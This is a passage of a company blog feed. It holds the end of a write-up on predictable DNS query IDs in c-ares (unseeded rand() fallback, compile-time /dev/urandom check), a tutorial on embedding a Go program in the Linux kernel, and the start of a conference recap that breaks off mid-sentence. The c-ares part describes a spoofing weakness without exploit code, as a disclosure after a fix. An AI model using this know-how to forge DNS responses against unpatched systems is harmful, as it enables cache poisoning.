</span></span></span><span class="line"><span class="cl"><span class="cm">   is generated using a suitable function otherwise the code defaults to
</span></span></span><span class="line"><span class="cl"><span class="cm">   cross-platform albeit less secure mechanism using rand
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">randomize_key</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span><span class="kt">int</span> <span class="n">key_data_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">randomized</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">counter</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="n">BOOLEAN</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">res</span> <span class="o">=</span> <span class="nf">RtlGenRandom</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">randomized</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#else </span><span class="cm">/* !WIN32 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#  ifdef CARES_RANDOM_FILE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="n">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="n">CARES_RANDOM_FILE</span><span class="p">,</span> <span class="s">&#34;rb&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter</span> <span class="o">=</span> <span class="nf">aresx_uztosi</span><span class="p">(</span><span class="nf">fread</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">,</span> <span class="n">f</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">#  endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* WIN32 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">randomized</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(;</span><span class="n">counter</span><span class="o">&lt;</span><span class="n">key_data_len</span><span class="p">;</span><span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line hl"><span class="cl">      <span class="n">key</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>  <span class="cm">/* LCOV_EXCL_LINE */</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>At first glance, this appears okay: On <code>WIN32</code> systems, <code>RtlGenRandom()</code> is
used to query <code>key_data_len</code> bytes of randomness from the OS and place them
into <code>key</code> which is <code>key-&gt;state[]</code> in the caller <code>init_id_key(...)</code>.</p>
<p>On non-<code>WIN32</code> targets, we either open the file path of <code>CARES_RANDOM_FILE</code> and
read <code>key_data_len</code> bytes from there or fall back to using <code>rand()</code> to get
the same amount of random numbers. We assume that <code>CARES_RANDOM_FILE</code> is
set to <code>/dev/urandom</code> or <code>/dev/random</code> for now.</p>
<p>An initial observation here is that the fallback relies on <a href="https://man7.org/linux/man-pages/man3/rand.3.html"><code>rand(3)</code></a>,
which is not designed for generating cryptographically secure random numbers.
Since it is only a fallback if nothing else works it is better than <a href="https://xkcd.com/221/"><code>return 4;</code></a>,
but it would be a better choice to first try to use <code>arc4random(3)</code> on *BSD or <a href="https://man7.org/linux/man-pages/man2/getrandom.2.html"><code>getrandom(2)</code></a>
on Linux, just in case.</p>
<p>More concerning though, is the absence of any <code>srand(3)</code> in the whole
source, which would seed the PRNG used by <code>rand(3)</code>. Without it, <code>rand(3)</code>
will output the same sequence of numbers <em>every single time</em>!
This means that all our DNS query IDs will be
fully predictable every time we end up in this fallback case.</p>
<p>Looking at the <code>CARES_RANDOM_FILE</code> case, it becomes evident that any error with
<code>fread(3)</code> will silently fail and result again in <code>rand(3)</code> being used.
While c-ares does the best it can in this case, it probably shouldn&rsquo;t fail silently.
At least a few sysadmins would want to know that their DNS queries are
all predictable due to some configuration issue.</p>
<h2 id="compiled-non-randomness">Compiled Non-Randomness</h2>
<p>Finally, there is one more thing in the above code. Whenever <code>CARES_RANDOM_FILE</code>
is not set, it automatically falls back to using <code>rand(3)</code> for seeding the RC4
PRNG. That this can be a problem becomes apparent when we look at the Autotools
<code>configure.ac</code> file:</p>
<pre tabindex="0"><code>dnl Check for user-specified random device
AC_ARG_WITH(random,
AS_HELP_STRING([--with-random=FILE],
               [read randomness from FILE (default=/dev/urandom)]),
    [ CARES_RANDOM_FILE=&#34;$withval&#34; ],
    [
        dnl Check for random device.  If we&#39;re cross compiling, we can&#39;t
        dnl check, and it&#39;s better to assume it doesn&#39;t exist than it is
        dnl to fail on AC_CHECK_FILE or later.
        if test &#34;$cross_compiling&#34; = &#34;no&#34;; then
          AC_CHECK_FILE(&#34;/dev/urandom&#34;, [ CARES_RANDOM_FILE=&#34;/dev/urandom&#34;] )
        else
          AC_MSG_WARN([cannot check for /dev/urandom while cross compiling; assuming none])
        fi

    ]
)
</code></pre><p>As we can see, the existence of <code>/dev/urandom</code> is determined at compile time.
This will likely break in cross-compile situations where this file does not
exist on your build host. We&rsquo;ll then always use the fallback case with the RC4 PRNG seeded by <code>rand(3)</code>!
Luckily enough, c-ares also brings CMake as build system and this is used
for example by the Yocto <a href="http://cgit.openembedded.org/meta-openembedded/tree/meta-oe/recipes-support/c-ares/c-ares_1.19.0.bb?h=master">meta-oe</a> recipe for c-ares, so not all is lost.</p>
<p>Nevertheless, the check for <code>/dev/urandom</code>&rsquo;s existence in c-ares should probably
be done during runtime instead of determining it at compile time.</p>
<h2 id="putting-all-together">Putting All Together</h2>
<p>Combining all these issues, we now know that:</p>
<ul>
<li>c-ares employs an RC4-based PRNG, which is no longer suitable for generating cryptographically secure
random numbers.</li>
<li>Due to the bug in the key schedule, the resultant random numbers will likely be of worse quality
than those of a standard RC4-based PRNG.</li>
<li>The fallback case will always generate the same sequence of DNS query IDs.</li>
<li>Cross-building c-ares without <code>/dev/urandom</code> on the host will result in the fallback case being
used, even if <code>/dev/urandom</code> would be available on the target.</li>
</ul>
<p>This means that DNS query IDs generated by c-ares are not fully random, raising the likelihood of query IDs becoming completely predictable. Consequently, an
attacker&rsquo;s search space for the tuple of source port and DNS query ID is smaller and makes
it more likely to succeed. It basically brings us closer to the good old days
of <a href="https://www.kb.cert.org/vuls/id/800113">CVE-2008-1447</a> where source port randomization was not used by default. :-)</p>
<p>After reporting this issue, the c-ares maintainers published v1.19.1, which rectifies this problem
(<a href="https://github.com/c-ares/c-ares/commit/823df3b989e59465d17b0a2eb1239a5fc048b4e5">fix commit</a>) and
<a href="https://c-ares.org/vulns.html">other</a> recent vulnerabilities. So, better be sure to update c-ares
to the latest version!</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://datatracker.ietf.org/doc/html/rfc5452">RFC5452</a> lists all measures DNS implementations
should take to be more resilient against response forgery.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Of course we also checked if the c-ares code base does anything special
with respect to selecting the source port.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Shout out to DragonFlyBSD who also managed this just recently in <a href="https://github.com/DragonFlyBSD/DragonFlyBSD/commit/22cd51fe15e7d8e951102064ba0d7e07839d6394">2023</a>! ;-)&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Let's Embed a Go Program into the Linux Kernel</title><link>https://sigma-star.at/blog/2023/07/embedded-go-prog/</link><pubDate>Fri, 21 Jul 2023 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/07/embedded-go-prog/</guid><description><![CDATA[<h1 id="lets-embed-a-go-program-into-the-linux-kernel">Let&rsquo;s Embed a Go Program into the Linux Kernel</h1>
<p>Today, we would like to present a lesser-known feature of the Linux kernel.
Instead of launching a program from a file system, regardless of whether it&rsquo;s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.</p>
<h2 id="introduction">Introduction</h2>
<p>At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs.
Prominent examples include the module loader helper, <code>/sbin/modprobe</code>, or the Spanning Tree Protocol (STP) helper for Linux&rsquo;s 802.1d Ethernet bridge subsystem, <code>/sbin/bridge-stp</code>.
On Linux, programs are typically launched from a file system using the <code>execve()</code> system call.
The kernel reads the initial parts of the specified file and hands over execution to user space.
Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file.
The same applies to the Linux user mode helper API, which allows executing a program from a driver.
Both scenarios require the program to be installed and loadable.
In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.</p>]]></description><content:encoded><![CDATA[<h1 id="lets-embed-a-go-program-into-the-linux-kernel">Let&rsquo;s Embed a Go Program into the Linux Kernel</h1>
<p>Today, we would like to present a lesser-known feature of the Linux kernel.
Instead of launching a program from a file system, regardless of whether it&rsquo;s virtual or not, it is also possible to embed a user-space program directly into the kernel image itself and start it from there.</p>
<h2 id="introduction">Introduction</h2>
<p>At first glance, this might sound outlandish and of little use, but there are cases where the kernel needs to execute helper programs.
Prominent examples include the module loader helper, <code>/sbin/modprobe</code>, or the Spanning Tree Protocol (STP) helper for Linux&rsquo;s 802.1d Ethernet bridge subsystem, <code>/sbin/bridge-stp</code>.
On Linux, programs are typically launched from a file system using the <code>execve()</code> system call.
The kernel reads the initial parts of the specified file and hands over execution to user space.
Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file.
The same applies to the Linux user mode helper API, which allows executing a program from a driver.
Both scenarios require the program to be installed and loadable.
In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.</p>
<p>However, things become complicated if you are a Board Support Package (BSP) supplier, either external or in-house, and don&rsquo;t always have easy access to the workflow that determines what to install in the root file system.
Ensuring that a program is actually loadable from the current root file system is a different story.
A common problem arises in setups where the root file system is attached using network storage, such as NFS or iSCSI.
If the network connection is unavailable, all access to the root file system fails, and the kernel is unable to run helpers anymore.
This is where the mechanism we&rsquo;d like to present in this blog post can help.</p>
<p>Let&rsquo;s assume we have a device driver called <code>embedded_prog</code> that requires a user space helper program, which must be executable at any time.
First, we need the program we want to embed.
Strictly speaking, any program will do, but we need to ensure that the program in question has no dependencies on the file system.
Linking it statically provides benefits.
Go programs are statically linked by default, and to illustrate that the following approach works with any kind of program, we have chosen to embed a Go program into the kernel.
The driver itself is very simple.
All it does is execute the helper program as soon as the driver is loaded, and when the program writes something into the pipe, the contents are directly logged into the kernel log buffer.</p>
<h2 id="the-go-program">The Go Program</h2>
<p>To keep things simple, the program itself will be straightforward.
It will write &lsquo;Hello, world!&rsquo; to standard output every five seconds.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">for</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;Hello, world!&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="mi">5</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">Second</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>Since we want to be independent of the root file system, we need to ensure that the program does not access files from the root file system.
We can achieve this by using strace to trace its system calls.</p>
<pre tabindex="0"><code>$ strace -fe trace=file ./eprog_user
execve(&#34;./eprog_user&#34;, [&#34;./eprog_user&#34;], 0x7fff743fbd50 /* 61 vars */) = 0
openat(AT_FDCWD, &#34;/sys/kernel/mm/transparent_hugepage/hpage_pmd_size&#34;, O_RDONLY) = 3
strace: Process 17908 attached
strace: Process 17909 attached
strace: Process 17910 attached
strace: Process 17911 attached
[pid 17905] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=17905, si_uid=1000} ---
Hello, world!
Hello, world!
^C
strace: Process 17905 detached
strace: Process 17908 detached
strace: Process 17909 detached
strace: Process 17910 detached
strace: Process 17911 detached
</code></pre><p>Looks good!
Access to files in <code>/proc</code> or <code>/sys</code> is fine.
These are virtual file systems and can be assumed to be present and working at all times.
They are part of the Linux ABI interface.</p>
<h2 id="linuxs-user-mode-helper-api">Linux&rsquo;s User Mode Helper API</h2>
<p>If your device driver needs to execute a user space program, the User Mode Helper API is the way to go.
The core function to use the API is <code>call_usermodehelper()</code>, which has the following signature:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">call_usermodehelper</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">wait</span><span class="p">);</span>
</span></span></code></pre></div><p>Similar to the <code>execve()</code> system call, <code>call_usermodehelper()</code> takes parameters such as the filename of the program to be executed, supplied arguments, environment, and a flag denoting whether the call should be asynchronous or not.
However, this is not what we want for running an embedded program within the kernel image itself.</p>
<p>Since Linux v4.18, a more advanced API called user mode driver is available to run a user mode helper.
The basic idea behind this API is that instead of specifying a path to a file on the root file system, an arbitrary buffer can be provided.
The content of this buffer will be executed in user space just like a regular program.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">umd_load_blob</span><span class="p">(</span><span class="k">struct</span> <span class="n">umd_info</span> <span class="o">*</span><span class="n">info</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">fork_usermode_driver</span><span class="p">(</span><span class="k">struct</span> <span class="n">umd_info</span> <span class="o">*</span><span class="n">info</span><span class="p">);</span>
</span></span></code></pre></div><p>Using <code>umd_load_blob()</code>, a program context is created from a buffer, and later it is executed by <code>fork_usermode_driver()</code>.
In addition to running the program, the User Mode Driver API also establishes a pipe between the program and the kernel, enabling inexpensive communication between them.</p>
<p>But how do we get our Go program into that buffer?
We don&rsquo;t want a new user space interface where the program has to be loaded into the kernel first.
We want it to be part of the kernel image.</p>
<h2 id="gnu-assember-to-the-rescue">GNU Assember to the Rescue!</h2>
<p>The kernel build system, specifically the GNU assembler (gas), can assist us in embedding the Go program into the resulting kernel image during the build process.
By using a gas file, <code>eprog_user_blob.S</code>, we can instruct the assembler to generate a C object file with two symbols: <code>embedded_umh_start</code> and <code>embedded_umh_end</code>.
These symbols will contain the contents of a binary file specified by the <code>.incbin</code> command, and this file can be arbitrary.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-Gas" data-lang="Gas"><span class="line"><span class="cl">        <span class="na">.section</span> <span class="no">.init.rodata</span><span class="p">,</span> <span class="s">&#34;a&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">.global</span> <span class="no">embedded_umh_start</span>
</span></span><span class="line"><span class="cl"><span class="nl">embedded_umh_start:</span>
</span></span><span class="line"><span class="cl">        <span class="na">.incbin</span> <span class="s">&#34;drivers/misc/embedded_prog/eprog_user&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">.global</span> <span class="no">embedded_umh_end</span>
</span></span><span class="line"><span class="cl"><span class="nl">embedded_umh_end:</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>If we link the resulting object file, <code>eprog_user_blob.o</code>, with our Linux device driver, we can utilize the symbols to locate the contents of the Go program within the kernel image.
This makes loading and executing the program from a buffer straightforward.
In this case, the buffer passed to <code>umd_load_blob()</code> is a memory location within the read-only section of the in-memory kernel image.
The linker has kindly prepared everything for us at compile time!</p>
<p>The code snippet provided below demonstrates the essential segments of the device driver, <code>eprog_kern.c</code>, responsible for loading and executing the Go program:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">umd_info</span> <span class="n">eprog_ctx</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="p">.</span><span class="n">driver_name</span> <span class="o">=</span> <span class="s">&#34;eprog_user&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">umd_load_blob</span><span class="p">(</span><span class="o">&amp;</span><span class="n">eprog_ctx</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">embedded_umh_start</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">embedded_umh_end</span> <span class="o">-</span> <span class="o">&amp;</span><span class="n">embedded_umh_start</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">fork_usermode_driver</span><span class="p">(</span><span class="o">&amp;</span><span class="n">eprog_ctx</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Using the <code>nm</code> command, we can observe the symbols in the driver.
If the driver is built as a loadable module, you can run <code>nm</code> on <code>eprog.o</code>.
Otherwise, if it is built directly into the kernel, you can run <code>nm</code> on <code>vmlinux</code>.</p>
<pre tabindex="0"><code>$ nm eprog.o | grep embedded_umh_
00000000001bc4e4 R embedded_umh_end
0000000000000000 R embedded_umh_start
</code></pre><pre tabindex="0"><code>$ nm vmlinux | grep embedded_umh_
0000000060688a00 d embedded_umh_end
00000000604cc51c d embedded_umh_start
</code></pre><h2 id="gluing-it-all-together">Gluing it all Together</h2>
<p>So far we have the following components:</p>
<ul>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/eprog_kern.c?h=embedded_go_prog">eprog_kern.c</a>: The kernel driver that runs <code>umd_load_blob()</code> and <code>fork_usermode_driver()</code>.</li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/eprog_user_blob.S?h=embedded_go_prog">eprog_user_blob.S</a>, The assembly source file we use to embed the Go program into a C object.</li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/gohello/hello.go?h=embedded_go_prog">gohello/hello.go</a>, Our Go program, located in a subdirectory of our driver.</li>
</ul>
<p>Using the following Makefile, all components are build and connected together:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-Makefile" data-lang="Makefile"><span class="line"><span class="cl"><span class="nf">$(obj)/eprog_user_blob.o</span><span class="o">:</span> <span class="k">$(</span><span class="nv">obj</span><span class="k">)</span>/<span class="n">eprog_user</span>
</span></span><span class="line"><span class="cl"><span class="nf">$(obj)/eprog_user</span><span class="o">:</span> <span class="k">$(</span><span class="nv">srctree</span><span class="k">)</span>/<span class="n">drivers</span>/<span class="n">misc</span>/<span class="n">embedded_prog</span>/<span class="n">gohello</span>/<span class="n">hello</span>.<span class="n">go</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># TODO: Add support for cross builds</span>
</span></span><span class="line"><span class="cl">        go build -o <span class="k">$(</span>obj<span class="k">)</span>/eprog_user <span class="k">$(</span>srctree<span class="k">)</span>/drivers/misc/embedded_prog/gohello/hello.go
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">obj-$(CONFIG_EMBEDDED_PROG)</span> <span class="o">+=</span> eprog.o
</span></span><span class="line"><span class="cl"><span class="nv">eprog-objs</span> <span class="o">+=</span> eprog_kern.o eprog_user_blob.o
</span></span></code></pre></td></tr></table>
</div>
</div><p>Linux&rsquo;s GNU make-based build system is rather flexible: it allows us to build our Go program even while building the kernel.</p>
<p>The following graphic outlines how all components are connected:</p>
<figure>
<img src="eprog.svg" loading="lazy" decoding="async" alt="Relationship between C objects"></figure>
<h2 id="demo">Demo</h2>
<pre tabindex="0"><code>$ insmod eprog.ko
$ ps fax
  PID TTY      STAT   TIME COMMAND
    2 ?        S      0:00 [kthreadd]
[..]
   25 ?        Sl     0:00  \_ eprog_user
[..]
   30 ?        R      0:00 ps fax
$ dmesg -w
[   53.300000] eprog: From userspace: Hello, world!
[   58.310000] eprog: From userspace: Hello, world!
[...]
</code></pre><p>We observe a new process, <code>eprog_user</code>, right after loading the driver module.
It is not a kernel thread, the name is not in square brackets and it is not a child
of PID 1 but of <code>kthreadd</code>.
Every five seconds the Go program will write <code>Hello, world!</code> via standard output
to the kernel driver which prints the string to the kernel log buffer.
Once the module is unloaded, the process is killed.</p>
<h2 id="summary">Summary</h2>
<p>We have seen that using a small assembly file and the User Mode Driver mechanism, it is possible to embed any kind of executable into the kernel image and run it later from there.
It works with any kind of program; we used a Go binary because it is statically linked and has no dependencies on the root file system.
If you&rsquo;re using your own program and want to be completely independent of the root file system, make sure that you know in detail which files it will process.
While the number of valid use cases for the presented feature is arguably small, it is still interesting to have and opens the door to new possibilities.
The example driver is rather simple, but there are numerous other ways to utilize this feature.
Please keep in mind that adding programs to the kernel image comes with a cost: the program as a whole will always stay in memory.</p>
<p>The full example driver is available on <a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog?h=embedded_go_prog">git.kernel.org</a>.</p>
]]></content:encoded></item><item><title>Embedded Open Source Summit 2023 in Prague</title><link>https://sigma-star.at/blog/2023/07/eoss-2023/</link><pubDate>Mon, 03 Jul 2023 00:00:00 +0200</pubDate><author>Aaron Marcher</author><author>David Gstir</author><author>David Oberhollenzer</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/07/eoss-2023/</guid><description><![CDATA[<h1 id="embedded-open-source-summit-2023">Embedded Open Source Summit 2023</h1>
<p>The Embedded Open Source Summit in Prague was a significant event for our company, as it
marked our first major conference since the Pandemic.
As dedicated professionals in the field of embedded Linux systems, attending this summit
allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.</p>
<p>This year&rsquo;s summit featured six distinct tracks, namely the Embedded Linux Conference,
Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit,
Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023.
Our primary focus was on Linux and security-related topics.
In this blog post, we will provide a brief overview of the noteworthy talks and presentations
that left a lasting impact on us.</p>]]></description><content:encoded><![CDATA[<h1 id="embedded-open-source-summit-2023">Embedded Open Source Summit 2023</h1>
<p>The Embedded Open Source Summit in Prague was a significant event for our company, as it
marked our first major conference since the Pandemic.
As dedicated professionals in the field of embedded Linux systems, attending this summit
allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.</p>
<p>This year&rsquo;s summit featured six distinct tracks, namely the Embedded Linux Conference,
Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit,
Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023.
Our primary focus was on Linux and security-related topics.
In this blog post, we will provide a brief overview of the noteworthy talks and presentations
that left a lasting impact on us.</p>
<figure>
<img src="eoss2023.jpeg" loading="lazy" decoding="async" alt="Embedded Open Source Summit in Prague" width="1280" height="941"></figure>
<h4 id="finding-the-best-block-filesystem-for-your-embedded-linux-system">Finding the Best Block Filesystem for Your Embedded Linux System</h4>
<p>In this talk, Michael Opdenacker from Bootlin compared various file systems that
can be used on an embedded board&rsquo;s eMMC or SD card.
So the comparison and benchmarks included not just read-only filesystems like SquashFS and EROFS, but
also writable ones like ext4, XFS, btrfs, nilfs2 and F2FS.</p>
<p>The comparisons included read and write benchmarks, image size, size of the
kernel module and how tiny a minimal filesystem could be packed.</p>
<p>Regarding filesystem size, SquashFS came out as a clear winner, while EROFS wins
in terms of read speed. We&rsquo;ve also discussed in more detail <a href="https://blog.sigma-star.at/post/2022/07/squashfs-erofs/">in a previous blog post</a>.</p>
<p>If a writable filesystem is desired, with a focus on simplicity and image size,
ext4 wins across the board.</p>
<h4 id="the-resurrection-of-ureadahead-and-speeding-up-the-boot-process-and-preloading-applications">The Resurrection of Ureadahead and Speeding up the Boot Process and Preloading Applications</h4>
<p>If you&rsquo;ve ever been to an Embedded Linux Conference, you&rsquo;ll know Steven Rostedt.
Though not in Batman costume this time, he gave a great talk on <code>ureadahead</code>.
More specifically, how he resurrected this almost dead tool and how this helps speed up
every ChromeOS boot.</p>
<p>Basically, <code>ureadahead</code> records page faults during bootup and uses this information
on every subsequent boot to pre-cache the required pages in the Kernel&rsquo;s page cache.
One of the great changes Steven made as part of his <code>ureadahead</code> rewrite was
to remove the dependency on <em>non-mainline</em> tracepoints such that it now works
with vanilla Kernels.</p>
<p>Steven concluded with his list of future ideas for <code>ureadahead</code> and his call
for the embedded community to get involved. The following discussion showed
that effective performance boost for embedded devices might be lower though
as the read patterns might be different. Also, compression e.g. with SquashFS
might put more load on the CPU which could reduce the I/O benefits.</p>
<h4 id="status-of-embedded-linux">Status of Embedded Linux</h4>
<p>As always, Tim Bird&rsquo;s status report on embedded Linux was a conference highlight.
In addition to presenting various development statistics, Tim focused on the fact
that Linux is now the operating system of choice for most space vehicles.
When comparing the current state of embedded Linux to that of 10 or 15 years ago, the
overall outlook is very positive.</p>
<p>Tim also shared some unfortunate news: Wolfgang Denk, the founder of u-boot and DENX, passed away in 2022.
As a major contributor to embedded Linux and some of us having personally met
